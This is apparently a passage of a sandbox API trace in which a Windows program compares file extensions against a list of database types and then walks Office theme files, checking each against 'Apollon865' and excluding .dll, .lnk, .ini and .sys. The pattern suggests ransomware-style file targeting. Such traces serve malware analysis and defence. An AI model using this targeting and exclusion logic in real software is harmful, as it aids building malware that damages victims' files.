	[0073.569] lstrlenW (lpString="accdc") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1
	[0073.569] lstrlenW (lpString="accde") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1
	[0073.569] lstrlenW (lpString="accdr") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1
	[0073.569] lstrlenW (lpString="accdt") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1
	[0073.569] lstrlenW (lpString="accdw") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1
	[0073.569] lstrlenW (lpString="accft") returned 5
	[0073.569] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1
	[0073.569] lstrlenW (lpString="adb") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1
	[0073.569] lstrlenW (lpString="adb") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1
	[0073.569] lstrlenW (lpString="ade") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1
	[0073.569] lstrlenW (lpString="adf") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1
	[0073.569] lstrlenW (lpString="adn") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1
	[0073.569] lstrlenW (lpString="adp") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1
	[0073.569] lstrlenW (lpString="alf") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1
	[0073.569] lstrlenW (lpString="ask") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1
	[0073.569] lstrlenW (lpString="btr") returned 3
	[0073.569] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1
	[0073.569] lstrlenW (lpString="cat") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1
	[0073.570] lstrlenW (lpString="cdb") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1
	[0073.570] lstrlenW (lpString="ckp") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1
	[0073.570] lstrlenW (lpString="cma") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1
	[0073.570] lstrlenW (lpString="cpd") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1
	[0073.570] lstrlenW (lpString="dacpac") returned 6
	[0073.570] lstrcmpiW (lpString1="s.eftx", lpString2="dacpac") returned 1
	[0073.570] lstrlenW (lpString="dad") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1
	[0073.570] lstrlenW (lpString="dadiagrams") returned 10
	[0073.570] lstrcmpiW (lpString1="ngles.eftx", lpString2="dadiagrams") returned 1
	[0073.570] lstrlenW (lpString="daschema") returned 8
	[0073.570] lstrcmpiW (lpString1="les.eftx", lpString2="daschema") returned 1
	[0073.570] lstrlenW (lpString="db-journal") returned 10
	[0073.570] lstrcmpiW (lpString1="ngles.eftx", lpString2="db-journal") returned 1
	[0073.570] lstrlenW (lpString="db-shm") returned 6
	[0073.570] lstrcmpiW (lpString1="s.eftx", lpString2="db-shm") returned 1
	[0073.570] lstrlenW (lpString="db-wal") returned 6
	[0073.570] lstrcmpiW (lpString1="s.eftx", lpString2="db-wal") returned 1
	[0073.570] lstrlenW (lpString="dbc") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1
	[0073.570] lstrlenW (lpString="dbs") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1
	[0073.570] lstrlenW (lpString="dbt") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1
	[0073.570] lstrlenW (lpString="dbv") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1
	[0073.570] lstrlenW (lpString="dbx") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1
	[0073.570] lstrlenW (lpString="dcb") returned 3
	[0073.570] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1
	[0073.571] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Apex.eftx" | out: lpString1="Apex.eftx") returned="Apex.eftx"
	[0073.571] lstrlenW (lpString="Apex.eftx") returned 9
	[0073.571] lstrlenW (lpString="Apollon865") returned 10
	[0073.571] lstrlenW (lpString=".dll") returned 4
	[0073.571] lstrcmpiW (lpString1="Apex.eftx", lpString2=".dll") returned 1
	[0073.571] lstrlenW (lpString=".lnk") returned 4
	[0073.571] lstrcmpiW (lpString1="Apex.eftx", lpString2=".lnk") returned 1
	[0073.571] lstrlenW (lpString=".ini") returned 4
	[0073.571] lstrcmpiW (lpString1="Apex.eftx", lpString2=".ini") returned 1
	[0073.571] lstrlenW (lpString=".sys") returned 4
	[0073.571] lstrcmpiW (lpString1="Apex.eftx", lpString2=".sys") returned 1
	[0073.571] lstrlenW (lpString="Apex.eftx") returned 9
	[0073.571] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Apothecary.eftx" | out: lpString1="Apothecary.eftx") returned="Apothecary.eftx"
	[0073.571] lstrlenW (lpString="Apothecary.eftx") returned 15
	[0073.571] lstrlenW (lpString="Apollon865") returned 10
	[0073.571] lstrcmpiW (lpString1="ecary.eftx", lpString2="Apollon865") returned 1
	[0073.571] lstrlenW (lpString=".dll") returned 4
	[0073.571] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".dll") returned 1
	[0073.571] lstrlenW (lpString=".lnk") returned 4
	[0073.571] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".lnk") returned 1
	[0073.571] lstrlenW (lpString=".ini") returned 4
	[0073.571] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".ini") returned 1
	[0073.571] lstrlenW (lpString=".sys") returned 4
	[0073.571] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".sys") returned 1
	[0073.571] lstrlenW (lpString="Apothecary.eftx") returned 15
	[0073.571] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Aspect.eftx" | out: lpString1="Aspect.eftx") returned="Aspect.eftx"
	[0073.571] lstrlenW (lpString="Aspect.eftx") returned 11
	[0073.571] lstrlenW (lpString="Apollon865") returned 10
	[0073.571] lstrcmpiW (lpString1="spect.eftx", lpString2="Apollon865") returned 1
	[0073.572] lstrlenW (lpString=".dll") returned 4
	[0073.572] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".dll") returned 1
	[0073.572] lstrlenW (lpString=".lnk") returned 4
	[0073.572] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".lnk") returned 1
	[0073.572] lstrlenW (lpString=".ini") returned 4
	[0073.572] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".ini") returned 1
	[0073.572] lstrlenW (lpString=".sys") returned 4
	[0073.572] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".sys") returned 1
	[0073.572] lstrlenW (lpString="Aspect.eftx") returned 11
	[0073.572] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Austin.eftx" | out: lpString1="Austin.eftx") returned="Austin.eftx"
	[0073.572] lstrlenW (lpString="Austin.eftx") returned 11
	[0073.572] lstrlenW (lpString="Apollon865") returned 10
	[0073.572] lstrcmpiW (lpString1="ustin.eftx", lpString2="Apollon865") returned 1
	[0073.572] lstrlenW (lpString=".dll") returned 4
	[0073.572] lstrcmpiW (lpString1="Austin.eftx", lpString2=".dll") returned 1
	[0073.572] lstrlenW (lpString=".lnk") returned 4
	[0073.572] lstrcmpiW (lpString1="Austin.eftx", lpString2=".lnk") returned 1
	[0073.572] lstrlenW (lpString=".ini") returned 4
	[0073.572] lstrcmpiW (lpString1="Austin.eftx", lpString2=".ini") returned 1
	[0073.572] lstrlenW (lpString=".sys") returned 4
	[0073.572] lstrcmpiW (lpString1="Austin.eftx", lpString2=".sys") returned 1
	[0073.572] lstrlenW (lpString="Austin.eftx") returned 11
	[0073.572] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Black Tie.eftx" | out: lpString1="Black Tie.eftx") returned="Black Tie.eftx"
	[0073.572] lstrlenW (lpString="Black Tie.eftx") returned 14
	[0073.572] lstrlenW (lpString="Apollon865") returned 10
	[0073.572] lstrcmpiW (lpString1="k Tie.eftx", lpString2="Apollon865") returned 1
	[0073.572] lstrlenW (lpString=".dll") returned 4
	[0073.572] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".dll") returned 1
	[0073.572] lstrlenW (lpString=".lnk") returned 4
	[0073.572] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".lnk") returned 1
	[0073.572] lstrlenW (lpString=".ini") returned 4
	[0073.573] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".ini") returned 1
	[0073.573] lstrlenW (lpString=".sys") returned 4
	[0073.573] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".sys") returned 1
	[0073.573] lstrlenW (lpString="Black Tie.eftx") returned 14
	[0073.573] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Civic.eftx" | out: lpString1="Civic.eftx") returned="Civic.eftx"
	[0073.573] lstrlenW (lpString="Civic.eftx") returned 10
	[0073.573] lstrlenW (lpString="Apollon865") returned 10
	[0073.573] lstrlenW (lpString=".dll") returned 4
	[0073.573] lstrcmpiW (lpString1="Civic.eftx", lpString2=".dll") returned 1
	[0073.573] lstrlenW (lpString=".lnk") returned 4
	[0073.573] lstrcmpiW (lpString1="Civic.eftx", lpString2=".lnk") returned 1
	[0073.573] lstrlenW (lpString=".ini") returned 4
	[0073.573] lstrcmpiW (lpString1="Civic.eftx", lpString2=".ini") returned 1
	[0073.573] lstrlenW (lpString=".sys") returned 4
	[0073.573] lstrcmpiW (lpString1="Civic.eftx", lpString2=".sys") returned 1
	[0073.573] lstrlenW (lpString="Civic.eftx") returned 10
	[0073.573] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Clarity.eftx" | out: lpString1="Clarity.eftx") returned="Clarity.eftx"
	[0073.573] lstrlenW (lpString="Clarity.eftx") returned 12
	[0073.573] lstrlenW (lpString="Apollon865") returned 10
	[0073.573] lstrcmpiW (lpString1="arity.eftx", lpString2="Apollon865") returned 1
	[0073.573] lstrlenW (lpString=".dll") returned 4
	[0073.573] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".dll") returned 1
	[0073.573] lstrlenW (lpString=".lnk") returned 4
	[0073.573] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".lnk") returned 1
	[0073.573] lstrlenW (lpString=".ini") returned 4
	[0073.573] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".ini") returned 1
	[0073.573] lstrlenW (lpString=".sys") returned 4
	[0073.573] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".sys") returned 1
	[0073.573] lstrlenW (lpString="Clarity.eftx") returned 12
	[0073.574] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Composite.eftx" | out: lpString1="Composite.eftx") returned="Composite.eftx"
	[0073.574] lstrlenW (lpString="Composite.eftx") returned 14
	[0073.574] lstrlenW (lpString="Apollon865") returned 10
	[0073.574] lstrcmpiW (lpString1="osite.eftx", lpString2="Apollon865") returned 1
	[0073.574] lstrlenW (lpString=".dll") returned 4
	[0073.574] lstrcmpiW (lpString1="Composite.eftx", lpString2=".dll") returned 1
	[0073.574] lstrlenW (lpString=".lnk") returned 4
	[0073.574] lstrcmpiW (lpString1="Composite.eftx", lpString2=".lnk") returned 1
	[0073.574] lstrlenW (lpString=".ini") returned 4
	[0073.574] lstrcmpiW (lpString1="Composite.eftx", lpString2=".ini") returned 1
	[0073.574] lstrlenW (lpString=".sys") returned 4
	[0073.574] lstrcmpiW (lpString1="Composite.eftx", lpString2=".sys") returned 1
	[0073.574] lstrlenW (lpString="Composite.eftx") returned 14
	[0073.574] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Concourse.eftx" | out: lpString1="Concourse.eftx") returned="Concourse.eftx"
	[0073.574] lstrlenW (lpString="Concourse.eftx") returned 14
	[0073.574] lstrlenW (lpString="Apollon865") returned 10
	[0073.574] lstrcmpiW (lpString1="ourse.eftx", lpString2="Apollon865") returned 1
	[0073.574] lstrlenW (lpString=".dll") returned 4
	[0073.574] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".dll") returned 1
	[0073.574] lstrlenW (lpString=".lnk") returned 4
	[0073.574] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".lnk") returned 1
	[0073.574] lstrlenW (lpString=".ini") returned 4
	[0073.574] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".ini") returned 1
	[0073.574] lstrlenW (lpString=".sys") returned 4
	[0073.574] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".sys") returned 1
	[0073.574] lstrlenW (lpString="Concourse.eftx") returned 14
	[0073.574] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Couture.eftx" | out: lpString1="Couture.eftx") returned="Couture.eftx"
	[0073.574] lstrlenW (lpString="Couture.eftx") returned 12
	[0073.574] lstrlenW (lpString="Apollon865") returned 10
	[0073.574] lstrcmpiW (lpString1="uture.eftx", lpString2="Apollon865") returned 1
	[0073.574] lstrlenW (lpString=".dll") returned 4
	[0073.575] lstrcmpiW (lpString1="Couture.eftx", lpString2=".dll") returned 1
	[0073.575] lstrlenW (lpString=".lnk") returned 4
	[0073.575] lstrcmpiW (lpString1="Couture.eftx", lpString2=".lnk") returned 1
	[0073.575] lstrlenW (lpString=".ini") returned 4
	[0073.575] lstrcmpiW (lpString1="Couture.eftx", lpString2=".ini") returned 1
	[0073.575] lstrlenW (lpString=".sys") returned 4
	[0073.575] lstrcmpiW (lpString1="Couture.eftx", lpString2=".sys") returned 1
	[0073.575] lstrlenW (lpString="Couture.eftx") returned 12
	[0073.575] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Elemental.eftx" | out: lpString1="Elemental.eftx") returned="Elemental.eftx"
	[0073.575] lstrlenW (lpString="Elemental.eftx") returned 14
	[0073.575] lstrlenW (lpString="Apollon865") returned 10
	[0073.575] lstrcmpiW (lpString1="ental.eftx", lpString2="Apollon865") returned 1
	[0073.575] lstrlenW (lpString=".dll") returned 4
	[0073.575] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".dll") returned 1
	[0073.575] lstrlenW (lpString=".lnk") returned 4
	[0073.575] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".lnk") returned 1
	[0073.575] lstrlenW (lpString=".ini") returned 4
	[0073.575] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".ini") returned 1
	[0073.575] lstrlenW (lpString=".sys") returned 4
	[0073.575] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".sys") returned 1
	[0073.575] lstrlenW (lpString="Elemental.eftx") returned 14
	[0073.575] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Equity.eftx" | out: lpString1="Equity.eftx") returned="Equity.eftx"
	[0073.575] lstrlenW (lpString="Equity.eftx") returned 11
	[0073.575] lstrlenW (lpString="Apollon865") returned 10
	[0073.575] lstrcmpiW (lpString1="quity.eftx", lpString2="Apollon865") returned 1
	[0073.575] lstrlenW (lpString=".dll") returned 4
	[0073.575] lstrcmpiW (lpString1="Equity.eftx", lpString2=".dll") returned 1
	[0073.575] lstrlenW (lpString=".lnk") returned 4
	[0073.575] lstrcmpiW (lpString1="Equity.eftx", lpString2=".lnk") returned 1
	[0073.575] lstrlenW (lpString=".ini") returned 4
	[0073.575] lstrcmpiW (lpString1="Equity.eftx", lpString2=".ini") returned 1
	[0073.576] lstrlenW (lpString=".sys") returned 4
	[0073.576] lstrcmpiW (lpString1="Equity.eftx", lpString2=".sys") returned 1
	[0073.576] lstrlenW (lpString="Equity.eftx") returned 11
	[0073.576] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Essential.eftx" | out: lpString1="Essential.eftx") returned="Essential.eftx"
	[0073.576] lstrlenW (lpString="Essential.eftx") returned 14
	[0073.576] lstrlenW (lpString="Apollon865") returned 10
	[0073.576] lstrcmpiW (lpString1="ntial.eftx", lpString2="Apollon865") returned 1
	[0073.576] lstrlenW (lpString=".dll") returned 4
	[0073.576] lstrcmpiW (lpString1="Essential.eftx", lpString2=".dll") returned 1
	[0073.576] lstrlenW (lpString=".lnk") returned 4
	[0073.576] lstrcmpiW (lpString1="Essential.eftx", lpString2=".lnk") returned 1
	[0073.576] lstrlenW (lpString=".ini") returned 4
	[0073.576] lstrcmpiW (lpString1="Essential.eftx", lpString2=".ini") returned 1
	[0073.576] lstrlenW (lpString=".sys") returned 4
	[0073.576] lstrcmpiW (lpString1="Essential.eftx", lpString2=".sys") returned 1
	[0073.576] lstrlenW (lpString="Essential.eftx") returned 14
	[0073.576] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Executive.eftx" | out: lpString1="Executive.eftx") returned="Executive.eftx"
	[0073.576] lstrlenW (lpString="Executive.eftx") returned 14
	[0073.576] lstrlenW (lpString="Apollon865") returned 10
	[0073.576] lstrcmpiW (lpString1="utive.eftx", lpString2="Apollon865") returned 1
	[0073.576] lstrlenW (lpString=".dll") returned 4
	[0073.576] lstrcmpiW (lpString1="Executive.eftx", lpString2=".dll") returned 1
	[0073.576] lstrlenW (lpString=".lnk") returned 4
	[0073.576] lstrcmpiW (lpString1="Executive.eftx", lpString2=".lnk") returned 1
	[0073.576] lstrlenW (lpString=".ini") returned 4
	[0073.576] lstrcmpiW (lpString1="Executive.eftx", lpString2=".ini") returned 1
	[0073.576] lstrlenW (lpString=".sys") returned 4
	[0073.576] lstrcmpiW (lpString1="Executive.eftx", lpString2=".sys") returned 1
	[0073.576] lstrlenW (lpString="Executive.eftx") returned 14
	[0073.577] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Flow.eftx" | out: lpString1="Flow.eftx") returned="Flow.eftx"
	[0073.577] lstrlenW (lpString="Flow.eftx") returned 9
	[0073.577] lstrlenW (lpString="Apollon865") returned 10
	[0073.577] lstrlenW (lpString=".dll") returned 4
	[0073.577] lstrcmpiW (lpString1="Flow.eftx", lpString2=".dll") returned 1
	[0073.577] lstrlenW (lpString=".lnk") returned 4
	[0073.577] lstrcmpiW (lpString1="Flow.eftx", lpString2=".lnk") returned 1
	[0073.577] lstrlenW (lpString=".ini") returned 4
	[0073.577] lstrcmpiW (lpString1="Flow.eftx", lpString2=".ini") returned 1
	[0073.577] lstrlenW (lpString=".sys") returned 4
	[0073.577] lstrcmpiW (lpString1="Flow.eftx", lpString2=".sys") returned 1
	[0073.577] lstrlenW (lpString="Flow.eftx") returned 9
	[0073.577] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Foundry.eftx" | out: lpString1="Foundry.eftx") returned="Foundry.eftx"
	[0073.577] lstrlenW (lpString="Foundry.eftx") returned 12
	[0073.577] lstrlenW (lpString="Apollon865") returned 10
	[0073.577] lstrcmpiW (lpString1="undry.eftx", lpString2="Apollon865") returned 1
	[0073.577] lstrlenW (lpString=".dll") returned 4
	[0073.577] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".dll") returned 1
	[0073.577] lstrlenW (lpString=".lnk") returned 4
	[0073.577] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".lnk") returned 1
	[0073.577] lstrlenW (lpString=".ini") returned 4
	[0073.577] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".ini") returned 1
	[0073.577] lstrlenW (lpString=".sys") returned 4
	[0073.577] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".sys") returned 1
	[0073.577] lstrlenW (lpString="Foundry.eftx") returned 12
	[0073.577] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Grid.eftx" | out: lpString1="Grid.eftx") returned="Grid.eftx"
	[0073.577] lstrlenW (lpString="Grid.eftx") returned 9
	[0073.577] lstrlenW (lpString="Apollon865") returned 10
	[0073.577] lstrlenW (lpString=".dll") returned 4
	[0073.577] lstrcmpiW (lpString1="Grid.eftx", lpString2=".dll") returned 1
	[0073.578] lstrlenW (lpString=".lnk") returned 4
	[0073.578] lstrcmpiW (lpString1="Grid.eftx", lpString2=".lnk") returned 1
	[0073.578] lstrlenW (lpString=".ini") returned 4
	[0073.578] lstrcmpiW (lpString1="Grid.eftx", lpString2=".ini") returned 1
	[0073.578] lstrlenW (lpString=".sys") returned 4
	[0073.578] lstrcmpiW (lpString1="Grid.eftx", lpString2=".sys") returned 1
	[0073.578] lstrlenW (lpString="Grid.eftx") returned 9
	[0073.578] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Hardcover.eftx" | out: lpString1="Hardcover.eftx") returned="Hardcover.eftx"
	[0073.578] lstrlenW (lpString="Hardcover.eftx") returned 14
	[0073.578] lstrlenW (lpString="Apollon865") returned 10
	[0073.578] lstrcmpiW (lpString1="cover.eftx", lpString2="Apollon865") returned 1
	[0073.578] lstrlenW (lpString=".dll") returned 4
	[0073.578] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".dll") returned 1
	[0073.578] lstrlenW (lpString=".lnk") returned 4
	[0073.578] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".lnk") returned 1
	[0073.578] lstrlenW (lpString=".ini") returned 4
	[0073.578] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".ini") returned 1
	[0073.578] lstrlenW (lpString=".sys") returned 4
	[0073.578] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".sys") returned 1
	[0073.578] lstrlenW (lpString="Hardcover.eftx") returned 14
	[0073.578] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Horizon.eftx" | out: lpString1="Horizon.eftx") returned="Horizon.eftx"
	[0073.578] lstrlenW (lpString="Horizon.eftx") returned 12
	[0073.578] lstrlenW (lpString="Apollon865") returned 10
	[0073.578] lstrcmpiW (lpString1="rizon.eftx", lpString2="Apollon865") returned 1
	[0073.578] lstrlenW (lpString=".dll") returned 4
	[0073.578] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".dll") returned 1
	[0073.578] lstrlenW (lpString=".lnk") returned 4
	[0073.578] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".lnk") returned 1
	[0073.578] lstrlenW (lpString=".ini") returned 4
	[0073.578] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".ini") returned 1
	[0073.578] lstrlenW (lpString=".sys") returned 4
	[0073.578] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".sys") returned 1
	[0073.579] lstrlenW (lpString="Horizon.eftx") returned 12
	[0073.579] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Median.eftx" | out: lpString1="Median.eftx") returned="Median.eftx"
	[0073.579] lstrlenW (lpString="Median.eftx") returned 11
	[0073.579] lstrlenW (lpString="Apollon865") returned 10
	[0073.579] lstrcmpiW (lpString1="edian.eftx", lpString2="Apollon865") returned 1
	[0073.579] lstrlenW (lpString=".dll") returned 4
	[0073.579] lstrcmpiW (lpString1="Median.eftx", lpString2=".dll") returned 1
	[0073.579] lstrlenW (lpString=".lnk") returned 4
	[0073.579] lstrcmpiW (lpString1="Median.eftx", lpString2=".lnk") returned 1
	[0073.579] lstrlenW (lpString=".ini") returned 4
	[0073.579] lstrcmpiW (lpString1="Median.eftx", lpString2=".ini") returned 1
	[0073.579] lstrlenW (lpString=".sys") returned 4
	[0073.579] lstrcmpiW (lpString1="Median.eftx", lpString2=".sys") returned 1
	[0073.579] lstrlenW (lpString="Median.eftx") returned 11
	[0073.579] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Metro.eftx" | out: lpString1="Metro.eftx") returned="Metro.eftx"
	[0073.579] lstrlenW (lpString="Metro.eftx") returned 10
	[0073.579] lstrlenW (lpString="Apollon865") returned 10
	[0073.579] lstrlenW (lpString=".dll") returned 4
	[0073.579] lstrcmpiW (lpString1="Metro.eftx", lpString2=".dll") returned 1
	[0073.579] lstrlenW (lpString=".lnk") returned 4
	[0073.579] lstrcmpiW (lpString1="Metro.eftx", lpString2=".lnk") returned 1
	[0073.579] lstrlenW (lpString=".ini") returned 4
	[0073.579] lstrcmpiW (lpString1="Metro.eftx", lpString2=".ini") returned 1
	[0073.579] lstrlenW (lpString=".sys") returned 4
	[0073.579] lstrcmpiW (lpString1="Metro.eftx", lpString2=".sys") returned 1
	[0073.579] lstrlenW (lpString="Metro.eftx") returned 10
	[0073.579] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Module.eftx" | out: lpString1="Module.eftx") returned="Module.eftx"
	[0073.579] lstrlenW (lpString="Module.eftx") returned 11
	[0073.579] lstrlenW (lpString="Apollon865") returned 10
	[0073.579] lstrcmpiW (lpString1="odule.eftx", lpString2="Apollon865") returned 1
	[0073.580] lstrlenW (lpString=".dll") returned 4
	[0073.580] lstrcmpiW (lpString1="Module.eftx", lpString2=".dll") returned 1
	[0073.580] lstrlenW (lpString=".lnk") returned 4
	[0073.580] lstrcmpiW (lpString1="Module.eftx", lpString2=".lnk") returned 1
	[0073.580] lstrlenW (lpString=".ini") returned 4
	[0073.580] lstrcmpiW (lpString1="Module.eftx", lpString2=".ini") returned 1
	[0073.580] lstrlenW (lpString=".sys") returned 4
	[0073.580] lstrcmpiW (lpString1="Module.eftx", lpString2=".sys") returned 1
	[0073.580] lstrlenW (lpString="Module.eftx") returned 11
	[0073.580] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Newsprint.eftx" | out: lpString1="Newsprint.eftx") returned="Newsprint.eftx"
	[0073.580] lstrlenW (lpString="Newsprint.eftx") returned 14
	[0073.580] lstrlenW (lpString="Apollon865") returned 10
	[0073.580] lstrcmpiW (lpString1="print.eftx", lpString2="Apollon865") returned 1
	[0073.580] lstrlenW (lpString=".dll") returned 4
	[0073.580] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".dll") returned 1
	[0073.580] lstrlenW (lpString=".lnk") returned 4
	[0073.580] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".lnk") returned 1
	[0073.580] lstrlenW (lpString=".ini") returned 4
	[0073.580] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".ini") returned 1
	[0073.580] lstrlenW (lpString=".sys") returned 4
	[0073.580] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".sys") returned 1
	[0073.580] lstrlenW (lpString="Newsprint.eftx") returned 14
	[0073.580] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Opulent.eftx" | out: lpString1="Opulent.eftx") returned="Opulent.eftx"
	[0073.580] lstrlenW (lpString="Opulent.eftx") returned 12
	[0073.580] lstrlenW (lpString="Apollon865") returned 10
	[0073.580] lstrcmpiW (lpString1="ulent.eftx", lpString2="Apollon865") returned 1
	[0073.580] lstrlenW (lpString=".dll") returned 4
	[0073.580] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".dll") returned 1
	[0073.580] lstrlenW (lpString=".lnk") returned 4
	[0073.580] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".lnk") returned 1
	[0073.580] lstrlenW (lpString=".ini") returned 4
	[0073.580] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".ini") returned 1
	[0073.581] lstrlenW (lpString=".sys") returned 4
	[0073.581] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".sys") returned 1
	[0073.581] lstrlenW (lpString="Opulent.eftx") returned 12
	[0073.581] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Oriel.eftx" | out: lpString1="Oriel.eftx") returned="Oriel.eftx"
	[0073.581] lstrlenW (lpString="Oriel.eftx") returned 10
	[0073.581] lstrlenW (lpString="Apollon865") returned 10
	[0073.581] lstrlenW (lpString=".dll") returned 4
	[0073.581] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".dll") returned 1
	[0073.581] lstrlenW (lpString=".lnk") returned 4
	[0073.581] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".lnk") returned 1
	[0073.581] lstrlenW (lpString=".ini") returned 4
	[0073.581] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".ini") returned 1
	[0073.581] lstrlenW (lpString=".sys") returned 4
	[0073.581] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".sys") returned 1
	[0073.581] lstrlenW (lpString="Oriel.eftx") returned 10
	[0073.581] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Origin.eftx" | out: lpString1="Origin.eftx") returned="Origin.eftx"
	[0073.581] lstrlenW (lpString="Origin.eftx") returned 11
	[0073.581] lstrlenW (lpString="Apollon865") returned 10
	[0073.581] lstrcmpiW (lpString1="rigin.eftx", lpString2="Apollon865") returned 1
	[0073.581] lstrlenW (lpString=".dll") returned 4
	[0073.581] lstrcmpiW (lpString1="Origin.eftx", lpString2=".dll") returned 1
	[0073.581] lstrlenW (lpString=".lnk") returned 4
	[0073.581] lstrcmpiW (lpString1="Origin.eftx", lpString2=".lnk") returned 1
	[0073.581] lstrlenW (lpString=".ini") returned 4
	[0073.581] lstrcmpiW (lpString1="Origin.eftx", lpString2=".ini") returned 1
	[0073.581] lstrlenW (lpString=".sys") returned 4
	[0073.581] lstrcmpiW (lpString1="Origin.eftx", lpString2=".sys") returned 1
	[0073.581] lstrlenW (lpString="Origin.eftx") returned 11
	[0073.581] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Paper.eftx" | out: lpString1="Paper.eftx") returned="Paper.eftx"
	[0073.582] lstrlenW (lpString="Paper.eftx") returned 10
	[0073.582] lstrlenW (lpString="Apollon865") returned 10
	[0073.582] lstrlenW (lpString=".dll") returned 4
	[0073.582] lstrcmpiW (lpString1="Paper.eftx", lpString2=".dll") returned 1
